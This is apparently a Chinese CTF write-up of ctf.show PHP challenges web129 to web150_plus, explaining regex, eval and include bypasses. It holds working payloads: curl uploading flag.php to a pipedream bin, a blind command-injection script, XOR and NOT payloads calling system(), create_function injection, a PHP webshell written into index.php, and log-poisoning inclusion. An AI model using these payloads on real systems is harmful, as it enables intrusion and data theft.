web129代码知识点做题子目录函数/方法striposreadfileweb130代码做题web131知识点代码做题Payload参考资料web132代码做题web133知识点代码做题参考资料web134知识点做题web135代码知识点做题非预期解 1非预期解 2预期解web136知识点代码做题web137知识点代码做题参考资料web138代码知识点做题web139知识点做题参考资料web140代码知识点做题参考资料web141代码知识点做题取反异或参考资料web142代码做题web143代码做题web144代码做题web145代码知识点做题web146代码做题web147代码做题参考资料web148代码非预期解预期解web149代码做题web150代码做题web150_plus(未完成)代码做题参考资料
web129
PHP Version: 7.3.11
代码
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-13 03:18:40 */ error_reporting(0); highlight_file(__FILE__); if(isset($_GET['f'])){ $f = $_GET['f']; if(stripos($f, 'ctfshow')>0){ echo readfile($f); } }
知识点
- 包含特定字符绕过
做题
readfile() 可以传入一个伪协议,也可以通过子目录父目录的方式绕过
子目录
首先要确定所含判断条件中有名为过滤条件的目录,比如此处过滤条件为 ctfshow,我们就可以看一下有没有名为 ctfshow 的目录,有的话就可以通过
./ctfshow/../
来回到本目录,并在后面加上 flag.php 来读取目录。函数/方法
stripos
作用:查找字符串首次出现的位置(不区分大小写)
如:
stripos("KleeMoe", 'moe'); // 4
readfile
作用:readfile — 输出文件,读取文件并写入到输出缓冲。
web130
PHP Version: 5.6.40
代码
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-13 05:19:40 */ error_reporting(0); highlight_file(__FILE__); include("flag.php"); if(isset($_POST['f'])){ $f = $_POST['f']; if(preg_match('/.+?ctfshow/is', $f)){ die('bye!'); } if(stripos($f, 'ctfshow') === FALSE){ die('bye!!'); } echo $flag; }
做题
最初一看,以为第二个判断条件
stripos($f, 'ctfshow') === FALSE
是要求 ctfshow 不能放在开头,同时第一个又要求 ctfshow 前面不能出现东西,结果看错了,注意这里第二个判断条件使用的是强类型匹配,匹配的 false,意思是 ctfshow 必须出现,那么只需要 post 的数据 f 为 ctfshow 即可。curl --location --request POST 'http://749704d9-c63b-4cec-a753-0bf73e418ca3.challenge.ctf.show:8080/' \ --form 'f="ctfshow"'
web131
PHP Version: 5.6.40
知识点
- PHP 正则表达式最大回溯/递归表示
代码
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-13 05:19:40 */ error_reporting(0); highlight_file(__FILE__); include("flag.php"); if(isset($_POST['f'])){ $f = (String)$_POST['f']; if(preg_match('/.+?ctfshow/is', $f)){ die('bye!'); } if(stripos($f,'36Dctfshow') === FALSE){ die('bye!!'); } echo $flag; }
做题
我一开始的思路是,正则匹配式为
/.+?ctfshow/is
,s为single line,那么换行能不能绕过呢?试了一下并不行,然后查了一下writeupPHP中,为了防止一次正则匹配调用的匹配过程过大从而造成过多的资源消耗,限定了一次正则匹配中调用匹配函数的次数。 回溯主要有两种 贪婪模式下,pattern部分被匹配,但是后半部分没匹配(匹配“用力过猛”,把后面的部分也匹配过了)时匹配式回退的操作,在出现*、+时容易产生。 非贪婪模式下,字符串部分被匹配,但后半部分没匹配完全(匹配“用力不够”,需要通配符再匹配一定的长度),在出现*?、+?时容易产生。 ———————————————— 版权声明:本文为CSDN博主「z.volcano」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。 原文链接:https://blog.csdn.net/weixin_45696568/article/details/113631173
为了防止资源耗尽,当要匹配的字符串长度大于 1000014 时,就不会得出正确结果,所以我们要做的就是让前面的东西足够大,以至于无法匹配到后面。但要注意,post的时候字符串也不要太大,避免出现太大请求失败的情况。
编程语言都有类似的字符串重复的语句,比如 PHP 可以使用
str_repeat("kleeisthebest", 233);
,Python 可以使用 "kleeisthebest"*233
Payload
<?php $str = str_repeat("kleeisthebest", 80000)."36Dctfshow"; $url = 'http://ee4d473e-a920-4b94-9aa2-959840adcf04.challenge.ctf.show:8080/'; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, array('f' => $str)); $result = curl_exec($ch); if (curl_errno($ch)) { echo 'Error:' . curl_error($ch); } curl_close($ch); //var_dump($str); echo $result;
参考资料
web132
PHP Version:5.6.40
代码
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 06:22:13 # @Last Modified by: h1xa # @Last Modified time: 2020-10-13 20:05:36 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ #error_reporting(0); include("flag.php"); highlight_file(__FILE__); if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){ $username = (String)$_GET['username']; $password = (String)$_GET['password']; $code = (String)$_GET['code']; if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){ if($code == 'admin'){ echo $flag; } } }
做题
原本以为这是一题黑盒题,结果原来只是套到了 /admin/ 下,好家伙做了这么久 PHP 特性来一个黑盒竟然都不会做了,是先看 hint。。。
先访问 /robots.txt ,发现有一条 Disallow: /admin ,遂访问之。
注意这里面判断语句,
if($code === mt_rand(1,0x36D) && $password === $flag
||
$username ==="admin")
中间这里用的是 || ,而 && 的优先级是比 || 高的,所以前面两个判断有一个为false就会判断后面的 $username == "admin" ,只需要在参数中传入即可,而第二个判断条件
if($code == 'admin')
也是一样,最后传入参数为 ?username=admin&password=1&code=admin
即可获得flag。web133
PHP Version: 7.3.11
知识点
- PHP 执行运算符运行 Shell
- 分隔符中插入变量
代码
<?php /* # -*- coding: utf-8 -*- # @Author: Firebasky # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-13 16:43:44 */ error_reporting(0); highlight_file(__FILE__); //flag.php if($F = @$_GET['F']){ if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){ eval(substr($F,0,6)); }else{ die("6个字母都还不够呀?!"); } }
做题
根据wp,如果传递的参数包括 `$F` 本身,那么就会发生变量覆盖,于是我的疑问如下。
- ` 这个符号在PHP中代表了什么?为什么
$F
可以绕过截断?它的作用是否和 eval 类似?
答:`shell code here` 在PHP中的作用和 shell_exec() 一样,要求 shell_exec() 启用的时候才会有效
- 可以绕过截断的情况下,为什么`$F` 不会造成循环调用自身?
答:因为在 shell 环境下,实际上 $F 是没有被赋值的,我们利用下面这个简单的两行代码来看看效果
echo substr($F,0,6); echo `$F`;

可以看到,$F 是没有值的, 同时我们可以跑一些自带的命令如 ping 来看一下它的作用。

接下来的要求就是把 flag.php 带出来了,看起来这里的内容并不会被直接输出。
我们可以使用类似 https://requestbin.com/ 这样的网站来生成一个 bin,然后使用 curl -XPOST -T flag.php https://xxxxxxx.x.pipedream.net/ 来将文件内容带出来,此处 payload 为
?F=$F;+curl%20-XPOST%20-T%20flag.php%20https://xxxxxxxx.x.pipedream.net/

于是我们可以在这里拿到flag
参考资料
web134
知识点
- 利用 parse_str 覆盖数组
- 利用 extract 将数组解析为变量
做题
原本我的思路是按照 web126 中
/?key=233+key1=36d
来进行覆盖的,但经过尝试以后,发现这题和 web126 是不一样的,web126 使用的是 $a=$_SERVER['argv'];
,我们这里使用的是 parse_str($_SERVER['QUERY_STRING']);
这里解析后只会产生这样的数据
所以,根据提示,我们应该用 $_GET 来覆盖 $_POST ,确实是比较牛逼,我们可以使用
?_POST[key1]=36d&_POST[key2]=36d
来达到 $_GET 覆盖 $_POST 的效果,下面我用一个 gif 来演示一下变量的变化过程。
web135
代码
<?php /* # -*- coding: utf-8 -*- # @Author: Firebasky # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-16 18:48:03 */ error_reporting(0); highlight_file(__FILE__); //flag.php if($F = @$_GET['F']){ if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){ eval(substr($F,0,6)); }else{ die("师傅们居然破解了前面的,那就来一个加强版吧"); } }
知识点
- 使用通配符绕过正则表达式
- 该题文件可写,直接复制一个就行了。。
- 使用ping与dnslog逐行将内容带出(反正我没搞出来(
做题
非预期解 1
将 web133 的 curl 改为 /usr/bin/cur* 即可
?F=$F;+/usr/bin/cur*%20-XPOST%20-T%20flag.php%20https://xxxxxxxx.x.pipedream.net/
非预期解 2
这时候你又不限制文件写入了。。。将 flag.php 复制为 flag.txt 即可
payload:
?F=$F;%20cp%20flag.php%20flag.txt
预期解
你这 hint 有问题啊,cat都被屏蔽了,跟着hint就做不出来
web136
PHP Version: 7.3.11
知识点
- exec 执行 linux 指令
- tee 将标准输出输出至文件
代码
<?php error_reporting(0); function check($x){ if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){ die('too young too simple sometimes naive!'); } } if(isset($_GET['c'])){ $c=$_GET['c']; check($c); exec($c); } else{ highlight_file(__FILE__); } ?>
做题
注意,这里使用的是 exec() 而非 eval() ,也就意味着他是直接执行 linux 指令的。如果没有拦截
nc;netcat
,我们可以使用反弹shell的方式来获取flag。但是,他这里并没有使用 echo 或者 print 之类的语句将执行结果打印出来,也就意味着我们只能使用输出至文件的方式。
输出至文件,这里
>
被拦截了,但我们可以使用 tee 来将其输出至文件,有关tee的作用可以参照下面的参考资料所以我们可以使用
ls / | tee a
来将 ls /
执行后的结果保存到 a,执行后的结果可访问 url/a 访问,此处为bin dev etc f149_15_h3r3 home lib media mnt opt proc root run sbin srv sys tmp usr var
我们可以看到有一个
f149_15_h3r3
挺扎眼的,使用 cat /f149_15_h3r3 | tee b
看看,确实是flagweb137
PHP Version: 7.3.11
知识点
- class 静态方法的调用
- call_user_func 使用
class::method
调用类方法
代码
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-16 22:27:49 */ error_reporting(0); highlight_file(__FILE__); class ctfshow { function __wakeup(){ die("private class"); } static function getFlag(){ echo file_get_contents("flag.php"); } } call_user_func($_POST['ctfshow']);
做题
如此题描述所述,该题确实非常简单。
你只需要了解怎么使用 call_user_func 调用类静态方法即可。
方法一:直接 POST
ctfshow=ctfshow::getFlag
(适用于 web137)方法二:设置
ctfshow[0]=ctfshow, ctfshow[1]=getFlag
(适用于web137 / web138)参考资料
web138
PHP Version: 7.3.11
代码
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-16 22:52:13 */ error_reporting(0); highlight_file(__FILE__); class ctfshow { function __wakeup(){ die("private class"); } static function getFlag(){ echo file_get_contents("flag.php"); } } if(strripos($_POST['ctfshow'], ":")>-1){ die("private function"); } call_user_func($_POST['ctfshow']);
知识点
- class 静态方法的调用
- call_user_func 使用
class::method
调用类方法
做题
使用 web137 中的方法二即可
方法二:设置
ctfshow[0]=ctfshow, ctfshow[1]=getFlag
(适用于web137 / web138)web139
知识点
- 利用时间盲注来猜测文件名&字符串
- linux 截取字符串的方法
- Python 的 for 循环语句
- ASCII 码表
做题
根据参考资料 1,我们可以通过 cut -c N 来裁切管道传来的字符。在实际操作的时候,我发现 cut 会对每一行都进行切割,导致返回的是一个数组,如下图所示。

我们可以使用
awk 'NR==n'
或者 cat test|sed -n '4p'
来继续对输出进行以行为单位的切割。根据该题描述,我们可以简单地写一个python小程序用于根据时间盲注返回结果
import requests ctfshow_url = "http://cee9d3b0-a2bd-4822-aa52-95d28affaec9.challenge.ctf.show:8080/" output = "" command = "ls /" # 可在此修改命令 for output_line_index in range(1, 30): # 用于找到某一行 output_line_payload = "if [ -z `{0} | awk 'NR=={1}'` ]; then sleep 3; fi".format(command, output_line_index) line_output = "" try: requests.get(ctfshow_url, params={'c': output_line_payload}, timeout=2.5) for output_exist_index in range(1, 999): # 第一层用于判断某位字符是否存在 output_exist_payload = "if [ -z `{0} | awk 'NR=={1}' | cut -c {2}` ]; then sleep 3; fi"\ .format(command, output_line_index, output_exist_index) try: requests.get(ctfshow_url, params={'c': output_exist_payload}, timeout=2.5) # 设定一个小于 3 秒的延时用于判断字符是否存在 for output_content_index in range(33, 127): output_content_payload = "if [ `{0} | awk 'NR=={1}' | cut -c {2}` = {3} ]; then sleep 3; fi"\ .format(command, output_line_index, output_exist_index, chr(output_content_index)) try: requests.get(ctfshow_url, params={'c': output_content_payload}, timeout=2.5) # 设定一个小于 3 秒的延时用于判断字符是否为猜测字符 except: line_output = line_output + chr(output_content_index) print("找到字符,新的字符串为:" + line_output) break except: # 如果超过3秒则输出结果结束 output += line_output + "\n" print("结束输出,该行输出结果为\n" + line_output) break except: print("所有输出结束,最终结果为\n" + output) break

一轮扫描下来,我们可以发现扫描结果
ls /
有一个结果为 f149_15_h3r3 ,这个应该就是flag,我们再将上面的 ls / 改为 cat /f149_15_h3r3

由于此处 { 和 } 被过滤了,上交flag的时候注意自己补充上就行了
参考资料
web140
PHP Verion: 7.3.11
代码
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-17 12:39:25 */ error_reporting(0); highlight_file(__FILE__); if(isset($_POST['f1']) && isset($_POST['f2'])){ $f1 = (String)$_POST['f1']; $f2 = (String)$_POST['f2']; if(preg_match('/^[a-z0-9]+$/', $f1)){ if(preg_match('/^[a-z0-9]+$/', $f2)){ $code = eval("return $f1($f2());"); if(intval($code) == 'ctfshow'){ echo file_get_contents("flag.php"); } } } }
知识点
- 松散比较
- 对于函数的intval
做题
上回书说到,对于 PHP 数字的判断 ,弱类型是不严格的,比如说
36 == '36ddddddd'
这个返回的是 true,也就是说,对于这题,我们只需要找到一个能使 intval($code) == 0
的即可。所以这题就变得简单了,f1 随便给个类似 md5 啊,sleep 啊之类的都可以,你喜欢的话甚至可以 Intval 套娃。参考资料
web141
PHP Version: 7.3.11
代码
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-17 19:28:09 */ #error_reporting(0); highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = (String)$_GET['v1']; $v2 = (String)$_GET['v2']; $v3 = (String)$_GET['v3']; if(is_numeric($v1) && is_numeric($v2)){ if(preg_match('/^\W+$/', $v3)){ $code = eval("return $v1$v3$v2;"); echo "$v1$v3$v2 = ".$code; } } }
知识点
- 无字母数字绕过正则表达(取反/异或)
- PHP 7 解析方式特性 (function/variable)(param)
做题
由题,v1和v2都得是数字没跑了,重点应该在v3上。但是v3不能使用数字,我们可以使用无字母数字绕过正则表达式的方式,此处我们使用异或的方式,同时使用 PHP 7 的特性,即 (function)(param) 的方式来传入。

为此,我们可以用下面的程序来计算传入的异或或者取反表达式
取反
(因为 http_build_query 会将 ~ 和 ( 也urlencode掉,好像就没法用了,所以这里还是自己拼接算了
<?php $function_encoded = urlencode(~$_GET['function']); $param_encoded = urlencode(~$_GET['param']); // $params = array( // "v1" => "1", // "v3" => "-(~$function_encoded)(~$param_encoded)-", // "v2" => "1" // ); // $payload = http_build_query($params); // echo "payload: $payload"; echo "payload: v1=1&v2=1&v3=-(~$function_encoded)(~$param_encoded)-";

访问一下,填入function和param,payload 出来的结果直接丢入即可获得flag。
异或
注释应该还挺详细的,将就着看
# Author: KleeMoe import re from urllib.parse import quote # 用于转换 urlencode char_set = {} pattern = r"^\w+$" # 匹配正则表达式 print("初始化字符表") for first_xor in range(0, 255): # 从 ASCII 码 0~256 中找到可与第二个异或的 if re.match(pattern, chr(first_xor)) is None: # 判断该字符是否在正则匹配之中,如果不在 for second_xor in range(0, 255): # 同上,找到可与第一个异或的: if re.match(pattern, chr(second_xor)) is None: # 同上 if (first_xor ^ second_xor) not in char_set: # 判断符号集中是否存在正则匹配式的字母表 char_set[first_xor ^ second_xor] = [first_xor, second_xor] # print("Find: " + chr(first_xor ^ second_xor) + " " + str(first_xor) + " " + str(second_xor)) def ret_xor(arg): encoded_first = "" encoded_second = "" for char in arg: char_xor = char_set[ord(char)] # 获取字符所在的两个异或 encoded_first += quote(chr(char_xor[0])) # 对第一个字符进行url编码 encoded_second += quote(chr(char_xor[1])) # 对第二个字符进行url编码 return encoded_first, encoded_second function = ret_xor(input("function: ")) command = ret_xor(input("command: ")) print("(\"{0}\"^\"{1}\")(\"{2}\"^\"{3}\")".format(function[0], function[1], command[0], command[1]))
此处注意,异或的字符串要加双引号来进行计算,比如
("%08%02%08%08%05%0D"^"%7B%7B%7B%7C%60%60")("%03%01%08%00%06%0C%01%07%00"^"%60%60%7C%20%60%60%60%60%2A")
,切莫忘记双引号,不然就无法进行异或计算了。因为小数点计算可能有问题,我们可以使用通配符来进行传入,最终命令为 system("cat flag*")

同时,在PHP里面,数字是可以和函数进行加减运算的,所以我们传入 v1=1, v2=1, v3=-payload-,最终payload为
curl --location --request GET 'http://21ed1b5c-4462-40aa-b5b0-2ba1b3dd3667.challenge.ctf.show:8080/?v1=1&v2=1&v3=-("%08%02%08%08%05%0D"^"%7B%7B%7B%7C%60%60")("%03%01%08%00%06%0C%01%07%00"^"%60%60%7C%20%60%60%60%60%2A")-'
参考资料
web142
代码
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-17 19:36:02 */ error_reporting(0); highlight_file(__FILE__); if(isset($_GET['v1'])){ $v1 = (String)$_GET['v1']; if(is_numeric($v1)){ $d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d); sleep($d); echo file_get_contents("flag.php"); } }
做题
确实难度0 =。=
传入一个 v1 ≤ 0 的数即可,或者 v1 > int_max 的也行
web143
代码
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-18 12:48:14 */ highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = (String)$_GET['v1']; $v2 = (String)$_GET['v2']; $v3 = (String)$_GET['v3']; if(is_numeric($v1) && is_numeric($v2)){ if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){ die('get out hacker!'); } else{ $code = eval("return $v1$v3$v2;"); echo "$v1$v3$v2 = ".$code; } } }
做题
参考 web141 的异或部分,将 web141 的py脚本中pattern改为
[a-z]|[A-Z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;
即可,并且将 v3 改为 *payload*
(因为-被过滤了,还可以用*来代替运算)/?v1=1&v2=1&v3=*(%22%0C%06%0C%0B%05%0D%22^%22%7F%7F%7F%7F%60%60%22)(%22%03%01%0B%00%06%0C%01%07%00%22^%22%60%60%7F%20%60%60%60%60%2A%22)*
web144
PHP Version: 7.3.11
代码
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-18 16:21:15 */ highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = (String)$_GET['v1']; $v2 = (String)$_GET['v2']; $v3 = (String)$_GET['v3']; if(is_numeric($v1) && check($v3)){ if(preg_match('/^\W+$/', $v2)){ $code = eval("return $v1$v3$v2;"); echo "$v1$v3$v2 = ".$code; } } } function check($str){ return strlen($str)===1?true:false; }
做题
有了前两次的基础,这题就不困难了。使用 web 141 中两种方法任意一种都可以,将 v1 设为 1,将 v3 设为 -,v2 设为执行函数即可。这里用取反作为例子
<?php $function_encoded = urlencode(~$_GET['function']); $param_encoded = urlencode(~$_GET['param']); echo "payload: v1=1&v3=-&v2=(~$function_encoded)(~$param_encoded)";
payload:
v1=1&v3=-&v2=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%D5)
web145
PHP Version: 7.3.11
代码
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-18 17:41:33 */ highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = (String)$_GET['v1']; $v2 = (String)$_GET['v2']; $v3 = (String)$_GET['v3']; if(is_numeric($v1) && is_numeric($v2)){ if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){ die('get out hacker!'); } else{ $code = eval("return $v1$v3$v2;"); echo "$v1$v3$v2 = ".$code; } } }
知识点
- 运算符与函数的配合
做题
我超,没想到加减乘除用完还能用二元表达式,是在下输了
<?php $function_encoded = urlencode(~$_GET['function']); $param_encoded = urlencode(~$_GET['param']); echo "payload: v1=1&v2=1&v3=?(~$function_encoded)(~$param_encoded):";
将 v3 改为前面 ? 后面 : 组合成二元表达式,最后组合为
1?payload:1
会执行到第一个命令。web146
- 运算符与函数的配合
代码
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-18 17:41:33 */ highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = (String)$_GET['v1']; $v2 = (String)$_GET['v2']; $v3 = (String)$_GET['v3']; if(is_numeric($v1) && is_numeric($v2)){ if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){ die('get out hacker!'); } else{ $code = eval("return $v1$v3$v2;"); echo "$v1$v3$v2 = ".$code; } } }
做题
PHP算是给大佬玩明白了🧎♀️
将 ?: 改成 | (或) 即可
web147
PHP Version: 7.3.11
代码
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-19 02:04:38 */ highlight_file(__FILE__); if(isset($_POST['ctf'])){ $ctfshow = $_POST['ctf']; if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) { $ctfshow('',$_GET['show']); } }
做题
- 为什么 \ 可以绕过正则表达式?

答:这里可以看到官方对于全局空间的概念。
如果没有定义任何命名空间,所有的类与函数的定义都是在全局空间,与 PHP 引入命名空间概念前一样。在名称前加上前缀 \ 表示该名称是全局空间中的名称,即使该名称位于其它的命名空间中时也是如此。(参考资料3)
php里默认命名空间是\,所有原生函数和类都在这个命名空间中。普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。 接下来第二个参数可以引发危险的函数。(参考资料1)
刚好该题中正则表达式又限制了不允许只出现数字和下划线,用一个 \ 即可成功绕过正则表达式。
根据官方(参考资料2)的说明,第一个参数是用来传入参数的,第二个则是function中的内容。关于create_function如何实现RCE,为什么闭合后可后面追加代码实现任意代码执行,可参考参考资料4。
简单来说,
create_function($a, $b)
等价于 eval('function __lambda_func(' . $a . '){' . $b '}\0')
(该段代码参考自参考资料4),$a 传入参数已经为空,我们只需要在 $b 上动手脚即可。同时,因为我们没法直接调用 create_function 后的函数,我们才需要手动闭合右括号并加入自己的代码,最后用 //
或 /*
来将后面的 }\0
注释掉,至于create_function你想让他返回什么,那是随便。所以,我们使 Post Param 中的
ctf=\create_function
, 并使 Get Param 中 show=return 1;} system("cat flag.php"); //
即可获得flag。payload:
curl --location -g --request POST 'http://1c9fe780-b91a-4f56-b76d-123eb6796bcc.challenge.ctf.show:8080/?show=return 1;} system("cat flag.php"); //' \ --form 'ctf="\\create_function"'
参考资料
web148
PHP Version: 7.3.11
代码
非预期解
这里也可以用刚才的异或来做,因为这里没有屏蔽 (^),用web141的脚本后面加上分号即可
预期解
使用非英文数字变量,比如中文变量,官方解如下
$哈 == _GET, 所以 ${$哈} == $_GET,${$哈}[哼] == $_GET[哼] == system, ${$哈}[嗯] == $_GET[嗯] == tac f*, 就等于执行 system(tac f*)
web149
PHP Version: 7.3.11
代码
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-19 04:34:40 */ error_reporting(0); highlight_file(__FILE__); $files = scandir('./'); foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file); } } } file_put_contents($_GET['ctf'], $_POST['show']); $files = scandir('./'); foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file); } } }
做题
你扫任你扫,我可没说要写在别的地方,我直接写你脸上(指 index.php
ctf=index.php , show=一句话木马 结束战斗,直接antsword拿flag。
curl --location --request POST 'http://30c8f7f8-e182-4ee9-a649-68918b032353.challenge.ctf.show:8080/?ctf=index.php' \ --form 'show="<?php eval($_POST[0]);"'
web150
PHP Version: 5.6.40
代码
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-19 07:12:57 */ include("flag.php"); error_reporting(0); highlight_file(__FILE__); class CTFSHOW{ private $username; private $password; private $vip; private $secret; function __construct(){ $this->vip = 0; $this->secret = $flag; } function __destruct(){ echo $this->secret; } public function isVIP(){ return $this->vip?TRUE:FALSE; } } function __autoload($class){ if(isset($class)){ $class(); } } #过滤字符 $key = $_SERVER['QUERY_STRING']; if(preg_match('/\_| |\[|\]|\?/', $key)){ die("error"); } $ctf = $_POST['ctf']; extract($_GET); if(class_exists($__CTFSHOW__)){ echo "class is exists!"; } if($isVIP && strrpos($ctf, ":")===FALSE){ include($ctf); }
做题
我做这道题的内心戏是这样的。。

然后实在没头绪,看了一下wp原来是靠文件包含做的。。。
可以将 ctf 设置为
/var/log/nginx/access.log
,然后将 isVIP 通过 extract($_GET)
设置为 true,并且将 header 中的 User-Agent 改为 <?php echo $flag; ?>
即可获得flag。web150_plus(未完成)
PHP Version: 5.6.40
代码
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-19 07:12:57 */ include("flag.php"); error_reporting(0); highlight_file(__FILE__); class CTFSHOW{ private $username; private $password; private $vip; private $secret; function __construct(){ $this->vip = 0; $this->secret = $flag; } function __destruct(){ echo $this->secret; } public function isVIP(){ return $this->vip?TRUE:FALSE; } } function __autoload($class){ if(isset($class)){ $class(); } } #过滤字符 $key = $_SERVER['QUERY_STRING']; if(preg_match('/\_| |\[|\]|\?/', $key)){ die("error"); } $ctf = $_POST['ctf']; extract($_GET); if(class_exists($__CTFSHOW__)){ echo "class is exists!"; } if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){ include($ctf); }
做题
这里已经拦截了使用日志的方法来引入了,我们可以使用 session.upload-progress 来引入。